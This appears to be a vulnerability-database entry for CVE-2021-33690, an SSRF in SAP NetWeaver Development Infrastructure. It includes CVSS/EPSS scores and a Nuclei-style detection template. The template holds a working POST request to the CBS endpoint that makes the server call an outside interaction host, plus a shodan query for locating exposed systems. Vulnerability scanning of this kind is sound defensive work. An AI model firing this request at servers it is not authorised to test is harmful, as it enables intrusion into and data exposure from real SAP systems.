9.9 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
CHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
9.4 High
AI Score
Confidence
High
6.5 Medium
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
SINGLE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:S/C:P/I:P/A:P
0.313 Low
EPSS
Percentile
96.9%
Server-Side Request Forgery (SSRF) vulnerability has been detected in the SAP NetWeaver Development Infrastructure Component Build Service versions - 7.11, 7.20, 7.30, 7.31, 7.40, 7.50The SAP NetWeaver Development Infrastructure Component Build Service allows a threat actor who has access to the server to perform proxy attacks on server by sending crafted queries. Due to this, the threat actor could completely compromise sensitive data residing on the Server and impact its availability.Note: The impact of this vulnerability depends on whether SAP NetWeaver Development Infrastructure (NWDI) runs on the intranet or internet. The CVSS score reflects the impact considering the worst-case scenario that it runs on the internet.
id: CVE-2021-33690
info:
name: SAP NetWeaver Development Infrastructure - Server Side Request Forgery
author: DhiyaneshDK
severity: critical
description: |
Server-Side Request Forgery (SSRF) vulnerability has been detected in the SAP NetWeaver Development Infrastructure Component Build Service versions - 7.11, 7.20, 7.30, 7.31, 7.40, 7.50The SAP NetWeaver Development Infrastructure Component Build Service allows a threat actor who has access to the server to perform proxy attacks on server by sending crafted queries. Due to this, the threat actor could completely compromise sensitive data residing on the Server and impact its availability.Note: The impact of this vulnerability depends on whether SAP NetWeaver Development Infrastructure (NWDI) runs on the intranet or internet. The CVSS score reflects the impact considering the worst-case scenario that it runs on the internet.
remediation: Apply the latest firmware update provided by the vendor to mitigate this vulnerability.
reference:
- https://redrays.io/cve-2021-33690-server-side-request-forgery-vulnerability/
- https://nvd.nist.gov/vuln/detail/CVE-2021-33690
- https://launchpad.support.sap.com/#/notes/3072955
- https://wiki.scn.sap.com/wiki/pages/viewpage.action?pageId=582222806
- https://github.com/redrays-io/CVE-2021-33690
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
cvss-score: 9.9
cve-id: CVE-2021-33690
cwe-id: CWE-918
epss-score: 0.3856
epss-percentile: 0.97133
cpe: cpe:2.3:a:sap:netweaver_development_infrastructure:7.11:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: sap
product: netweaver_development_infrastructure
shodan-query: html:"SAP NetWeaver"
tags: cve2021,cve,oast,ssrf,sap
http:
- raw:
- |
POST /tc.CBS.Appl/tcspseudo HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
CBS=http://{{interactsh-url}}&USER=1&PWD=1&REQ_CONFIRM_DELAY=2000&ACTION=CONFIGURE
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol
words:
- "dns"
- type: word
part: body
words:
- "Could not connect to the CBS"
# digest: 490a00463044022027727d913e7044670a5cfc2a318a45aac111b189bee52347b9a90933cf5c801b022011d1873dee71de17c4f6b36800ac5b17f4129ced9b5bba0e86ef087c08c08dd0:922c64590222798bb761d5b6d8e72950
9.9 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
CHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
9.4 High
AI Score
Confidence
High
6.5 Medium
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
SINGLE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:S/C:P/I:P/A:P
0.313 Low
EPSS
Percentile
96.9%